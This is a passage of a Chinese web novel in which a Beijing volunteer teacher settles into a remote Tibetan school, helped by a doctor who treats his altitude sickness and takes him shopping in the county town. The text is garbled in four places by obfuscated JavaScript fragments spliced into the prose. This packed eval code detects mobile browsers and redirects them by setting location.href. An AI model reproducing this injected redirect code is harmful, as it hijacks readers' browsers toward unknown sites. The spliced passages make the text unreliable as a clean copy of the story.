方识攸说:“前两天去格尔木,回来路上认识的,我不是车坏半路了吗,他带我回拉萨的。” “哇靠。”杨郜回忆了一下,“你告诉我车坏的时候都夜里了吧,那乌漆嘛黑的国道边上,你就上他车了?” “嗯。”方识攸点头。 杨郜:“你也是胆子大。” 方识攸笑了笑没多说什么。确实他这两天反思了一下自己,总结来看就是许南珩长得太好看,咬着烟面若冰霜的模样过于性感,他赌了一把。 杨郜凝视了自己同事片刻,觉得不可思议。这会儿许南珩从卫生间出来了,方识攸朝他招招手。 医院食堂吃饭的大夫大概有六七个人,这六七个大夫就是这“分院”的全部医生。不设急诊,大家轮流值夜班,食堂墙上的黑板是手写的值班表。 一切都古朴到让许南珩觉得自己穿越去了年代剧。但这就像90年代一样,90年代的上海已经富到饭桌上有澳龙帝王蟹,90年代的大西北用公共水龙头洗衣服。 其实放在今天也一样,大城市的医院食堂里有咖啡厅,小县城医院食堂的电饭煲,还是许南珩10岁那年的款式。 这世界就像一片雨林,有的树被阳光照耀,长在丰沛之地,高大雄伟。有的树扎根在贫瘠之地,只能拼尽全力让自己尽量别死。 然后旁人会说:这片林子里的树,长得可好了! “谢谢。”许南珩从方识攸手里接过满满一碗的米饭,然后悄声说,“稍微有点多了方大夫。” “来,拨给我。”方识攸把碗递过来。 席间,医院里的其他人告诉许南珩,他白天过来的县城前些年才退出贫困县。县医院的规模也不算大,只有基础设施,譬如CT机核磁共振,一些病理检验还得送去山南市的医院里做。 而这个单独一栋楼的小医院,主要是服务周边的村庄,很多村民根本不明白医院是怎么运作,所以县城在这里设立了一个小的。 这里挂号只有一个人工窗口,可以走医保。一般村民有头疼脑热的,在这里看医生。 许南珩点头应着。 方识攸发现他有些拘谨,吃完饭后有人说一起去县城里热闹热闹,欢迎许老师,方识攸帮他婉拒了,说许老师奔波一天了,这才作罢。 吃完饭已经暮色四合,还没开学,学校里没有学生。方识攸陪着他从医院往学校走,两个楼离得蛮近,中间没有其他建筑遮挡,走过去也就五六分钟。 “看过宿舍了吗?”方识攸问他。 “看过了。”许南珩和他一样,俩手揣在兜里。 方识攸:“怎么样?” 许南珩:“还用问吗方大夫。” 方识攸噗呲笑了下:“你们教师宿舍我去过,上个月去帮忙抬书桌的。” “啊。”许南珩想起来了,“我说呢,那副桌椅看着挺新的。” 方识攸点头:“对,原本的书桌四条腿各有所长,校长从县城买了新的,说让支教老师写教案舒服点儿。” “各有所长……”许南珩笑了笑,这描述用的,然后就慢慢地笑不出了。 教学楼近在眼前,想想那个宿舍,又不能叹气,他本就是来支教的,他不能叹气,生生忍住了。 “方大夫。” “嗳,许老师。” “火。” 方识攸没抽,站着陪许南珩在距离教学楼两米的地方抽了根烟。恰好方识攸也看见了停在学校里的安静的车,看看它,再看看许南珩。方识攸心道,少爷下乡了…… “要不这火机你留着用吧。”方识攸说。 许南珩擦开火机点上烟,然后嘴唇往里抿了一下,让牙齿咬住烟嘴,说:“其实我有火,我在拉萨买了火机了,但我忘了。” “……”方识攸抿嘴忍住了笑,“氧气稀薄,不怪你。” 许南珩深吸了口烟,让烟在肺里完全打了个滚,才慢慢吐出来。 这里从地势来看处于山腰间,喜马拉雅山北麓的西南高原。路不算平坦但也没有非常夸张的起伏,海拔大约在4000米,许南珩适应得还好,还能抽烟,这在高原地区属于天赋异禀。 总体环境看起来和许南珩观念里的偏远山区差不多,他惆怅地抬头看着这教学楼二楼自己宿舍房间的窗户,没出声。 方识攸跟着他的视线抬眼向上看,试着问:“怎么了?一个人住一栋空楼害怕吗?” “那不能够。”许南珩说,“院儿里国旗飘着呢,有什么好怕的。” 方识攸笑笑:“你眼神有点苦涩。” “不苦,苦什么,怕苦就不参加支教了。”许南珩夹下来烟,看了一圈没看见垃圾桶,便在墙上摁灭它,然后捏在手里。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727257|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方识攸没细问,因为他能理解,自己刚来援藏的时候也是这样。不是怕苦,也没有嫌弃环境,更不是后悔。援藏医疗和支教考核一样,要经过层层筛选,考核内容之一就是让老师了解当地情况,过来之前大家都明白这里是个怎样的地方。 这里不会有24小时热水,也不会有便利店,厕所就是一条沟。快递要去十几公里外的县城取,可能这儿根本不在发货范围,外卖就更不要想。 像许南珩这样只是抽根烟,已经算是心态绝佳。 方识攸说:“这儿没有公共垃圾桶,去学校里扔吧。” “哦好。”许南珩点头,“行了你就送到这儿吧,我上楼睡觉了,谢谢你请我吃饭啊方大夫。” “谢什么,也没花钱。” “那我不管,我吃饱了就得谢。” “行,甭客气了,去休息吧。” 许南珩点点头。 按道理说方识攸该扭头走了,但他没动。他不动,许南珩也不太好先溜,于是晚星下四目相对了片刻……片刻后,许南珩试着问:“还有……事儿吗?” “你从家里带垫褥来了吗?就是铺床板上的那种棉褥子。”方识攸问。 许南珩眨眨眼:“屋里有啊。” 那是校方给准备的,在山南开会的时候,支教手册里写了,学校提供基础住宿。棉被、棉褥、枕头,一些晾衣服的衣服撑、水盆,基础的生活用品,而且刚刚和达瓦江措上楼的时候许南珩也看见了,床上好好的,被子枕头都有。 方识攸似欲言又止,还是止住了没说,他换了个话头:“啊对了,明天我要去一趟县城,你一块儿吗?” “我去干嘛?”许南珩不解。 “是这样。”方识攸咽了下,换了个角度跟他说,“你先上楼睡一晚,体验一下,因为那个板床是硬板,可能只有一条垫被,你要是睡不惯,明天就和我一起去县城多买几条厚褥子,毕竟眼看着天要冷了。” 许南珩听劝,点头:“好,那你去县城是干嘛?” “109国道汽修店的哥们帮我把车开到拉萨了,我拉萨的同事帮我开到山南,我从县城坐车去山南,把我车开回来。”方识攸说。 “哦——”许南珩想起来了,方识攸的车坏在半道,“原来如此。” “嗯。”方识攸刚想说那我先回了,只见许南珩毛茸茸的眉毛倏然蹙起,盯着他看。 方识攸被盯得有些犯怵:“怎么了?” “方大夫。” “嗳,许老师。” “汽修店的哥们帮你把车开回拉萨,收你多少钱?”许南珩似笑非笑地问。 方识攸诚实作答:“两千五。” 许南珩开玩笑地双臂抱胸:“看来刨去油钱你还差我300,改天咱俩算算账吧方大夫。” “好嘞。”方识攸也笑着拍了下他肩膀,“你休息吧,明儿见。” 许南珩觉得哪儿就有方大夫说得那么离谱了,不就是硬板床吗,大学宿舍睡的不都是硬板床吗。 但许南珩忘了,大学宿舍那个硬板床,他妈妈给他垫了好几条棉的、绒的褥子,垫起来有拳头厚。他上到二楼走进自己宿舍,打开灯,长条状的白炽灯闪了两下才常亮。 许南珩弯腰在床上按了按……再一掀,确实就只有一层薄薄的棉被。他没抱怨,本来就不是来当祖宗的,还让人伺候吗。 于是京城来的许老师在床上平躺了片刻后,坐起来,披着夜色走下教学楼。许老师拉车门,放倒座椅,后车窗落下来点缝儿,睡了。 次日一早,方大夫从医院走来学校。 方大夫甚至都没上楼,直接走到车旁边,敲了敲窗户。 许南珩惊醒,倏地眼睛睁开,一个挺背坐起来,和车窗外的方大夫四目相对。 “早啊许老师。” “早,方大夫。” 老实说,是有点尴尬的。 许南珩揉了揉眼睛,打开车门。可能是刚坐起来那个动作太猛,车身又高,下车的时候往前一踉跄。 方识攸下意识伸出胳膊接他,他直接摔进方识攸怀里。 5. 第 5 章 许南珩意识是清醒的,他扶了一下方识攸的胳膊,想自己站着。但方识攸没松手,继续圈着他,说:“你别动,缓缓,这里海拔比拉萨还要高一点。” 他这会儿心怦怦跳,呼吸也费劲。 方识攸在观察他,同时手掌在他后背顺着,引导他:“你刚才坐起来的时候坐猛了,稍微有点高反,没事,你正常呼吸,别着急。” 轻微的高反不需要吸氧,方识攸也不太想他一出现不适就吸氧,那不是长久之计。方识攸的个头比他稍微高一点儿,大概高出三四公分的样子。 “怎么样?”方识攸垂下头看他。 “啊?”许南珩其实好多了,“还、还行,我心跳这么快是正常的吗?” 方识攸看看他,说:“高反是这样的,会心慌,你先在车里坐会儿,等我一下,我回去拿两个氧气罐。” “用不着吧。”许南珩说,“从格尔木到拉萨,过昆仑山口的时候也没吸氧啊。” 方识攸强行握着他胳膊把他扶回车里,很认真地看着他:“许老师,听大夫的话,用不用的,先备上。” “我不是不听话,我觉得你大清早这么来回跑的……” “不费事。”方识攸打断他,“等我会儿。” 说完就走了,许南珩把座椅靠背调直,靠着。他不是不知好歹的人,他当然知道要听大夫话,比如他爸,体检完了大夫一句‘你最好戒烟戒酒’,比他妈叮嘱几十年都有用。 这世界上你可以不听任何人的话,但不能不听大夫的话。 许南珩抚了抚胸口,怪了,方大夫走了,心跳就平缓了。他抬腕看表,黑屏的,还好Apple Watch已经没电了,不然刚刚在方识攸怀里必然疯狂震动。那属实是有点尴尬。 从医院到学校,步行往返不过十二三分钟,他从前挡风玻璃看见方识攸拎了个袋儿走过来。方识攸走到车边,把袋子放进后座,说:“两个一次性氧气罐,食堂里还有块鸡蛋饼也给拿来了,稍微垫一下。” 方识攸还带了个小血氧仪出来,给他测了个血氧,确认血氧没问题他才放心。 “谢谢啊方大夫。”许南珩从车里下来,说,“我上楼洗漱一下先。” “别爬楼梯,你刚刚高反,高原爬楼和平原爬楼不是一个概念。”方识攸指了下教学楼另一边的墙根,“那儿有个水龙头。” 幸而昨天行李没搬完,他的洗漱包在后备箱里,牙刷牙膏都在里面。许南珩潦草地洗了一下后尝试深呼吸,感觉好多了。 走回车边的时候,方识攸戴了副墨镜,扭头和许南珩撞上视线。 方大夫敞怀的格子衬衫里面是一件黑色短袖T恤,深色牛仔裤和运动鞋,坦白讲这分明就是程序员穿搭,但这大夫盘靓条顺的,穿起来就是看着顺眼。 许南珩咳嗽了下转移注意力。 “我开吧。”方识攸说。 “行,上车吧,车钥匙就在车里。”许南珩去副驾驶,从手套箱里拿出自己的墨镜也戴上。 不是耍酷,高原地界白天真的刺眼。 许南珩的墨镜是高奢品牌,他妈妈送给他的,到底是三代从商的品味,他妈妈在京城富太圈里混迹多年,看过不少好东西,给她儿的打扮自然是贵气十足。 导致方识攸呆愣地看了他一会儿。他茫然地问:“怎么了方大夫?” “挺帅。”方识攸坦然评价道。 许南珩笑了下:“我妈给买的,她比较会挑这种配饰。” “我是说你挺帅。”方识攸解释了一下。 “……谢、谢了。”许南珩说。 “要不先吃了再走?”方识攸不知道他介不介意在车里吃东西。 许南珩“噢”了声,想起后排的蛋饼,伸手去够,说:“没事儿,我兜着吃。” 蛋饼被一张油纸包着,方识攸叹了口气,又把安全带解开,脱下衬衫。许南珩愣住:“你热啊?” “不是。”方识攸把衬衫一抖,盖在他大腿上,“这么兜着吧。” 感情这是拿衬衫当餐巾了,许南珩这回真的诧异:“别别,不至于,我都二十五了我吃个蛋饼能往下漏吗?” 方识攸扣回安全带,看着他。虽说这俩人在对视,但在墨镜的阻挡下,视线无法相撞,看不见眼神只能看见表情。 大概是眼睛被遮住,大夫的笑泛着些痞气,说:“不是不信任你,许老师,回忆一下昨天你从县城开过来的那个路况。” 啊。确实,许南珩想起来了,山路颠得险些给他脑浆晃匀。 “那也不能用你衣服啊。”许南珩准备还给他。 “没事儿。”方识攸挂挡起步了,“医院有洗衣机,学校没有。” “……”许南珩沉默了。 从村子开向县城的路,许南珩觉得像是有一只鸟,抓了只特别重的耗子,飞得特辛苦,一起一落一起一落。 不过方识攸开车挺稳的,他应该是担心许南珩会吐,所以开得挺慢。三个多小时后,总算进了县城。 县城的客车站旁边是个市场。下车后许南珩在垃圾桶旁边拎着方识攸的衬衫狠劲儿抖了好几下,其实他没漏下来多少蛋饼渣渣,但毕竟是人家的。 方识攸接过来穿上,还是敞着怀,两个人身材相仿,许南珩这位小公子在京城养得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727258|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肤嫩白,方大夫这么些年在西藏也没晒黑,俩人走在市场里吸引了不少目光。 去山南市的车次很多,而且客车站和市场近,方识攸不着急,先带许南珩来买垫褥。俩人高马大的,进店的时候还要稍微低头。 老板娘笑吟吟地看着俩人,养眼,问他们要什么样的,几米的床。这给许南珩问住了,他不知道啊,遂看向方大夫。 方大夫说:“一米五宽的床。” 老板娘又问,要什么棉的。许南珩哪懂,又看方大夫。 方大夫说:“普通棉花就行,给三条,再要两套被罩床单,加一对羽绒枕。” 挑好了之后老板娘的儿子帮着两个人一起搬去车上,塞进后备箱,许南珩觉得这趟结束了,刚要上车。方识攸哭笑不得地叫住他:“许老师,就走了?” “东西买好了不走吗?”许南珩握着车门把手。 方识攸笑得相当无奈,低了下头,说:“你还要买电插排、小太阳、加湿器、小电锅、吹风机……” “……啊。”许南珩迷茫地发出了一个单音节。 方识攸:“没说完呢,洗衣液香皂洗发水要买吧?” “要买。” “方便面零食速溶咖啡你也要买吧?” “要买。” 许老师终于痛苦地认识到自己可能真的是许少爷,尤其是当这辆车再也塞不下东西,并且车顶也用行李带绑满了之后,许老师又一次把求助的视线放在了方大夫脸上。 不知道为什么,他总觉得方大夫会有办法。 方大夫也确实有办法,他在市场门口挠了挠头,墨镜挂在领口,蹙眉寻思了会儿:“这样,你在县城找个地方等我,我先去山南把我皮卡开过来。” “我送你去得了。”许南珩说。 “不用,折腾什么,一来一回的,我坐客车去很方便。” 许南珩没强求,点头嗯了声。客车站就在市场旁边,方识攸挥挥手说先走了,走出一截儿又折回来,许南珩还没上车,靠在车门上搜这附近有什么吃的。 一抬眼,见方大夫小跑回来,许南珩笑了笑,问:“落东西了?” “不是。”方识攸停下,微喘,掏出手机,“加个微信,回头找不着你。” “哦对。”许南珩点头,这茬忘了。 许老师的头像是他家养的虎斑猫,坐在四合院墙头的瓦片上,许南珩当时踩在凳子上拍的。 方大夫的头像是有一回过可可西里,拍到的一只藏羚羊,藏羚羊恰好看向了方识攸的镜头。 “走了。”方识攸说。 “去吧。”许南珩收起手机。 6. 第 6 章 许南珩在县城溜达着,这是个小县城,人口不足两万。 好在这里到山南市不算远,客车一趟往返大约三小时。三个小时而已,很好打发。许南珩的车停在市场门口,就在附近逛。 藏南的这个小县城设施挺完备,有农家乐有奶茶,他戴副墨镜,非常明显的外地人。 县城里的游客不多,因为靠近国境线,进城需要边防证。虽然不多但还是有的,街上迎面四个人和许南珩对向走过来。 四人之中的一个小伙子上前询问他:“帅哥,能不能麻烦你帮我们合个影呀?” “没问题。”许南珩接过对方的手机。四个年轻人并排站在街边的墙外,四个人肩搂着肩,笑得灿烂地合了一张照片。 许南珩把手机还给他们的时候,他们之中有人问:“哎帅哥,你一个人吗?要不要跟我们搭伙呀,我们一会儿去山上的那个寺院转一转。” “一块儿吧!”有人跟着说。 年轻人比较热情,而许南珩看上去是独行。许南珩笑着摆摆手,说:“不是一个人,有朋友的,我在等他回来。” “哦这样啊!” 许南珩点头嗯了声,挥挥手跟他们说了再见后,手机又响了,来电人是达瓦江措老师,他接起来:“哎老师。” 他不太确定该怎么称呼达瓦江措,是叫‘达瓦’老师还是什么别的,所以直接叫老师。 达瓦江措在电话里的声音有些急:“许老师你去哪啦?我来学校找你,你人不在车也不在。” “噢,我到县城来了,来买点……”许南珩顿了下,“生活用品。” 他没好意思说来买被子什么的,搞得像别人招待不周。不过达瓦江措一点儿没多想,听他这么说,松了口气:“哦!你去县城啦,那正好呀,校长说今晚在县城给你办个欢迎会呢,要不你就在县城等我们吧!” 达瓦江措松了口气的那个声儿太明显也太悠长,许南珩眯了下眼,微妙地觉得达瓦江措可能觉得自己跑路了,当逃兵了。 他笑了下,说:“不用,我来支教的,又不是来交朋友,要不你去说说,算了吧。” 这儿虽然物价不高,但许南珩也不想他们在自己身上花额外的钱。 “哎呀你从北京大老远的过来……”达瓦江措话说一半,被许南珩打断。 “我心领了,真的。”许南珩说,“没客气,老师,我这几天适应适应海拔,然后就开始备课,真不用欢迎会,初三太重要了,咱们都是教育工作者,我得好好准备,您也说了,我是大老远过来的,就更不能浪费时间。” 他话说得毫无错漏,也圆满周到。达瓦江措支吾了一会儿,觉得他说得不错,确实如此,便说他再去和校长说一下。 恰好许南珩边打电话边溜达,面前就是一家藏餐厅。他撩开门帘进去,里面的桌椅地毯带着浓郁的藏族特色,地毯有些旧了,起了毛边,老板殷切地过来打招呼,让他随便坐。 初来乍到,也不知道吃什么。老板招待过不少外地人,许南珩在菜单上盯着酥油茶看的时候,老板建议他喝甜茶就行。 别的不说,许南珩打小就听劝,点了甜茶,和小份的羊肉土豆。 吃着的时候方大夫发了微信过来,说拿到车了现在往回开。许南珩随口问了句你吃了吗,方识攸回过来一条语音: “你不用操心我,自己吃饱就行,县城山上有个寺院,你吃完可以去逛逛,记得走路慢点,有不舒服就停下休息。” 方大夫声音不是低沉的,但富有磁性,讲话语调亲和。许南珩暂时不能判定这种亲和是来自于方识攸本人,还是因为方识攸是他在这里唯一的朋友,同时是老乡的原因。 许南珩摁着说话键:“好嘞,方大夫。” 虽然达瓦江措会说汉语,这家店的老板也会说汉语,但方识攸说话带着淡淡的北京腔,确实给他这位外乡人带来了亲切感。 吃完饭结账的时候许南珩问了下老板,老板说寺院不远,可以打个三轮车过去,走路也行,就是要走上一段时间。 许南珩跟老板道了谢,戴上墨镜走出店门。 高海拔城市的紫外线果然很强,日照充沛,阳光直射。并且这里是藏南,高原温带半干旱季风气候,眼下八月,刚刚过去全年最集中的降雨,湿度还不错。 许南珩出来伸了个懒腰,人就是这样,吃饱喝足后心情会好起来。 阳光在他墨镜的角上折了一道光,他查了下寺庙的位置,街上有出租车也有三轮车,许南珩招停了一辆。三轮大哥笑眯眯的,大约是因为许南珩一副游客打扮,笑得相当灿烂,灿烂得像是看见一沓钱闪耀在阳光下。 其实许南珩走路回市场那儿开自己的车也没多远,不过大老远过来,就当一回游客吧,上三轮儿了。 寺院在山腰处,看着不算高,路也平缓。许南珩左右看了看,游客还挺多的,山脚停的车有全国各地的牌照。最远的牌照看见黑龙江的了,许南珩心生敬意。 这间寺院不收门票,山脚有一个警示牌,写寺院的海拔在4500,意为让大家量力而行。的确,在高原,爬个楼梯都是一种升海拔。 许南珩和其他游客一样,先站在这儿对着山腰的寺院拍照,旁边一群人不知是带了个导游还是什么,许南珩听见了洪亮的解说。 “这里供奉的呀,是三怙主,也就是文殊菩萨、金刚部金刚手,莲花部观世音。” “那我们现在走上去呢可能会比较累,大家包里面都有氧气罐的吧~” 许南珩的氧气罐在包里,包在车里,他犹豫了下,再抬头看看寺院,墨镜镜片隔绝掉一部分色彩,他把墨镜摘下来,阳光刺眼,他下意识眯了下。 古刹就端坐在那里,上山的坡上,绑着经幡的绳子在风里呼呼作响。有人递给其他人一沓五彩经幡,他们捏住那一沓的一角,将它甩了甩,错开来,然后迎着风松手,欢呼着什么。 许南珩慢悠悠地往上走,拍照。 他家境优渥,打小就是富贵公子,金莼玉粒,锦衣玉食。走到哪儿都一派逍遥样子,轻快翩跹。他也更愿意放过自己,比如此时此刻,他有点喘不上来了。 这个上山的坡已经非常非常缓了,有不少人和他一样走到这儿有点受不了,路边找了个空地直接坐下。其实许南珩强行撑着还是能再走一截的,但他挑了个空地儿,墩地坐下来。 旁边大姐戴着墨镜面巾,用帕子擦汗。她看上去挺难受的,但还是笑着的,用努力向普通话靠拢的江浙方言跟许南珩搭话,问:“小伙子你一个人来旅游的呀?” 许南珩挠挠头,说:“还有个朋友,晚点过来找我。” “哦~”大姐点头,热情地说,“哎!你一个人不好拍照吧,那!那有个大石头,你站上去,阿姨帮你跟上面寺院合个影!” “哎?”许南珩扭头一看,好嘛,站上去海拔又+1米,他哭笑不得,不过人家那么热情他也没好意思扫兴,况且他来西藏到现在,确实除了支教会议的合影,一张单人照片都还没拍。 他墨镜一摘,把手机的照相机打开递给他,嘴甜得很,说:“谢谢姐,麻烦您嘞!” “噢哟!”大姐一摆手,“叫阿姨叫阿姨,搞不好我比你妈妈还大几岁呢!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727259|189515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 许南珩手一撑从地上起来,掸掸灰土。那石头也不算大,就普通一石头,许南珩站上去,大姐笑眯眯地举起他手机。 没有墨镜,实在刺眼,他两只眼半眯着。但拍照嘛一定要笑着,眉心因强光而微微拧起,但有潇洒地笑着。 其实许南珩不太喜欢拍照,没有什么姿势,一只手自然下垂,另一只手揣在裤兜里。山腰风很大,外套下摆随风扬着,他头发也是。 他人长得帅,大姐退休之年游历四方,拍照水平亦是不错,不但构图讲究,连着山、寺院,和经幡都拍进来了。 拍完,许南珩赶紧把墨镜戴上,再刺会儿该淌眼泪了,大姐招招手让他过来看,说:“我拍了三张,你看看哪张好!” 许南珩乖巧的“嗳”着应道:“好,都好看,谢谢姐!” 大姐和朋友们休息好了,跟他挥挥手说再见,继续往寺院走。许南珩还想再坐会儿,他不急,也不赶时间,方大夫开回来还有一会儿。 他盘膝在路边又坐下,挑了一张照片发朋友圈。 西藏的天是澄净的蓝,许南珩抬起头,把墨镜拉下来一些,拉到鼻梁中间,用肉眼抬头看天。 虽说北京近几年的环境治理颇有成效,即便秋冬时节也有蓝天白云,姥爷常感叹早几年那大雾霾的天,胡同这头看不到那头。许南珩记事以来有几次印象很深的雾霾天,浓厚的雾霾像城市陷入了琥珀和史莱姆的混合物里。 许南珩把墨镜推回来,朋友圈唰唰地出现超多点赞回复。他平时不太发朋友圈,他姥爷点了赞,回复一句诗: 众鸟高飞尽,孤云独去闲。 许南珩看着这句李白的诗,看了会儿,倏地笑了。 他跟他姥爷比较亲,而且许南珩脸上藏不住事儿,他那天在学校掀完桌子回来姥爷就问出了什么事,他一五一十地告诉了姥爷。 姥爷“嗐”了声,跟他念了句《将进酒》,道:呼儿将出换美酒,与尔同销万古愁! 然后爷俩喝了一盅。 他姥爷是真喜欢李白,“众鸟高飞尽,孤云独去闲”的后面是“相看两不厌,唯有敬亭山”,其实学校的流言真就屁大一点事儿,都不算个事儿。 但人就是这样,在事件当中的时候烦得不行,想锁上门放把火烧个清净。现下走出那个情境,再回头看看,确实就是屁大点事儿。 想到这,许南珩兀自笑了笑,也不知是笑自己,还是笑他姥爷真是拿他当回事儿,拿李白这句诗来比自己。接着赶紧回他姥爷的留言:不至于,您抬举。 山腰有僧人来往,也有小动物,许南珩两条胳膊在后脑勺一枕,干脆就这么躺下了。一只小猫走到他脑袋边儿,低头看看他。小爪子抬起来,似乎犹豫着要不要照着许南珩的脸来一下子。 许南珩隔着墨镜盯它,严肃道:“不准踩我啊。” 猫走了。 许南珩觉得方大夫说的不完全,西藏的宁静不单单是因为氧气稀薄动弹不得。他这会儿缺氧的劲儿过去了,依然觉得宁静。 山风,小猫,僧人,游客。 经幡宛如煽动翅膀,还有幽幽的,他形容不出的,大约是岩石草原的气味。 许南珩这么眯瞪了一下,不晓得眯瞪了多久,然后慢慢坐起来,看手机。朋友圈的回复大多是西藏真美、山上是什么寺、好蓝的天,直到出现了藏羚羊头像。 方大夫留言:帅啊。 许南珩稍微有点不好意思,今天上午自己戴个墨镜他也说帅。 许南珩回复:今儿都夸两回了,差不多了。 方识攸回:行,明儿再夸。 7. 第 7 章 许南珩直接点开他聊天窗口:你怎么开车还玩手机呢。 方识攸回:排队等加油呢。 许南珩:噢,不急,慢慢开。 方识攸:好嘞。 眼下许南珩感觉差不多了,从地上爬起来,决定像在布达拉宫时候一样,再次放过自己。毕竟一会儿要开车从县城回村,还是不往上爬了,免得真的高反严重了影响开车。 不远处刚刚和他一样坐在这儿休息的游客见他往下走了,搭话问道:“小伙子!你就走啦?不上去看看啦?” 许南珩一笑,说:“缘分没到,下次。” 在佛门,讲缘分,没什么问题。许南珩推了下墨镜,走到山脚,这里很多等客的车,有出租车有三轮儿,他钻进了辆三轮,跟大哥说去市场。 估摸着方识攸应该快到了。下午三点多,高原强大的紫外线好像老天在这个区域犯了很严重的洁癖,疯狂杀菌,许南珩感觉自己在消毒柜里。 今天最高温度快三十度,车里晒得滚烫。许南珩屁股刚挨到座椅,差点没烫得弹起来。 “哎哟烫屁股。”许南珩叹了下,把车门开着就这么坐着。 热烘烘的,但不是燥热的那种热,还挺舒服。许南珩划拉着手机,支教老师的群里在闲聊,尤其许南珩朋友圈发出去后,群里又开始@他。 [谭奚:@许南珩,哇许老师,你那儿的山真漂亮!] [许南珩:那可不,喜马拉雅山脉,你要去的是哪个山来着?] [谭奚:大凉山,嘿嘿。] 许南珩察觉要素,墨镜后面眼睛一眯。今年校对校的支教岗已经公开了,许南珩那会儿流言缠身烦得很,就看见了自己的支教岗是西藏,没看别人的。 “大凉山……”许南珩喃喃思索片刻,然后反应过来。 [许南珩:我靠,谭老师,你这是以支教的方式回到了家乡啊!] [谭奚:嘿嘿,我舅爷和舅奶听说我要回家,准备杀猪了,房间也打扫好了,路由器都换了个穿墙的。] [戴纪绵:人谭老师行李都不用收拾,家里啥都有。] [苏雨:哈哈哈哈哈哈~许老师刚反应过来,我们早就酸过他了。] 许南珩抽抽了两下嘴角,行行行…… 大家在群里交换了一下各支教岗的开学时间,因而各地风俗以及气候不同,西藏这边开学最早,放假也早,且寒假很长。戴老师通知了一下,明天上午北京本校有一次和支教老师们的线上会议,让大家提前准备一下,找一下当地哪里网络比较稳定。 许南珩已经试过了,在学校只有两格信号,可以用,但很缓慢。给电脑开热点的话,估计支撑不起视频会议。那就只有求援方大夫了,想到这儿叹了口气。 “怎么叹上气了。”忽然从车门响起一个声音。 许南珩噌地坐起来,他车门大开着,这人胳膊就搭在他车门上,淡淡笑着看着他。 “方大夫。” “嗳,许老师。” “回来了啊。”许南珩从车里跳下来,伸了个懒腰,“哎——刚群里说,过段时间学校要开线上会议,让找个网好的地方。” “北京的学校啊?” “啊。”许南珩点头,问,“医院里有网吗?” “有,你到时候过来就行。” “好嘞。”许南珩说。 方识攸的车是福特猛禽,如果许南珩没看错的话,这车是烈焰风暴那辆特别款。车就停在旁边,许南珩看了几眼,那车确实蛮帅的,车头引擎盖到他胸口差不多高。 “够酷啊这车。”许南珩说,“哎你一大夫为什么买皮卡开呢?” 方识攸说:“医院里救护车有限,平时出去义诊的话要不就叫网约车,要不坐三轮儿,皮卡方便,后面车斗能装东西也能让人躺。” “哦——”许南珩明白了。 说完话,二人直接各上各车,向村里开。 许南珩在前面开,方识攸跟后面,为了看着他车顶绑的东西,以防颠掉下来了不知道。 到村庄后方识攸帮着他把买的东西往楼上搬,还好只是二楼,俩男人来回搬,效率挺高。就是许南珩有点不好意思,搬到第四趟的时候,他扶着车,略喘,说:“方大夫你回吧,剩下的我自己慢慢搬。” 方大夫外套已经脱了,一黑短袖,说:“一起搬,搬完回医院吃饭。” “你还是个热心肠。”许南珩笑着说。 方识攸怔愣了下,然后笑起来:“挺记仇啊许老师。” 其实东西都不重,但小件小件的,一趟搬不了多少,所以上上下下地跑。终于搬完,学校大院里,许南珩还是没能完全适应高原,手撑在膝盖上弯着腰,大口大口地呼吸。 方识攸打开一个氧气瓶,氧气嘴儿对着他,说:“吸一会儿。” 吸了会氧,许南珩缓过来,“呼”了一声。然后看方识攸从皮卡后面车斗里又抱起一个箱子,不大不小的,于是问他:“不是搬完了吗,那是什么?” 方识攸答:“在山南给你买了箱可乐。” “我靠。”许南珩震惊地走过去,感动得差点掉眼泪,攥住方识攸的胳膊,“你们大夫果然救死扶伤。” “……应该的。”方识攸无语地看着他。 下周一就开学了。 晚上许南珩窝在宿舍里看初三教材,前阵子在北京本校已经考过了,他再翻翻。 北京本校的线上会议时间是早上9点。 许南珩定了八点半的闹钟,最后在八点五十六分醒来。 因为提前打过招呼,今天早上过去,方识攸早上左等右等等不来人,八点五十分从医院走来学校。 走过来耗时五分钟,上二楼耗时三十秒。 方大夫敲门的时候许老师刚刚睁眼。 “我靠。”许南珩看了眼时间,连滚带爬地下床。微信上谭奚疯狂喊他,问他怎么还没上线,他一边摁着说话键一边趿着拖鞋过来开门。 于是这间宿舍门打开的时候,方识攸看见白T恤大裤衩鸡窝脑袋睡眼惺忪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 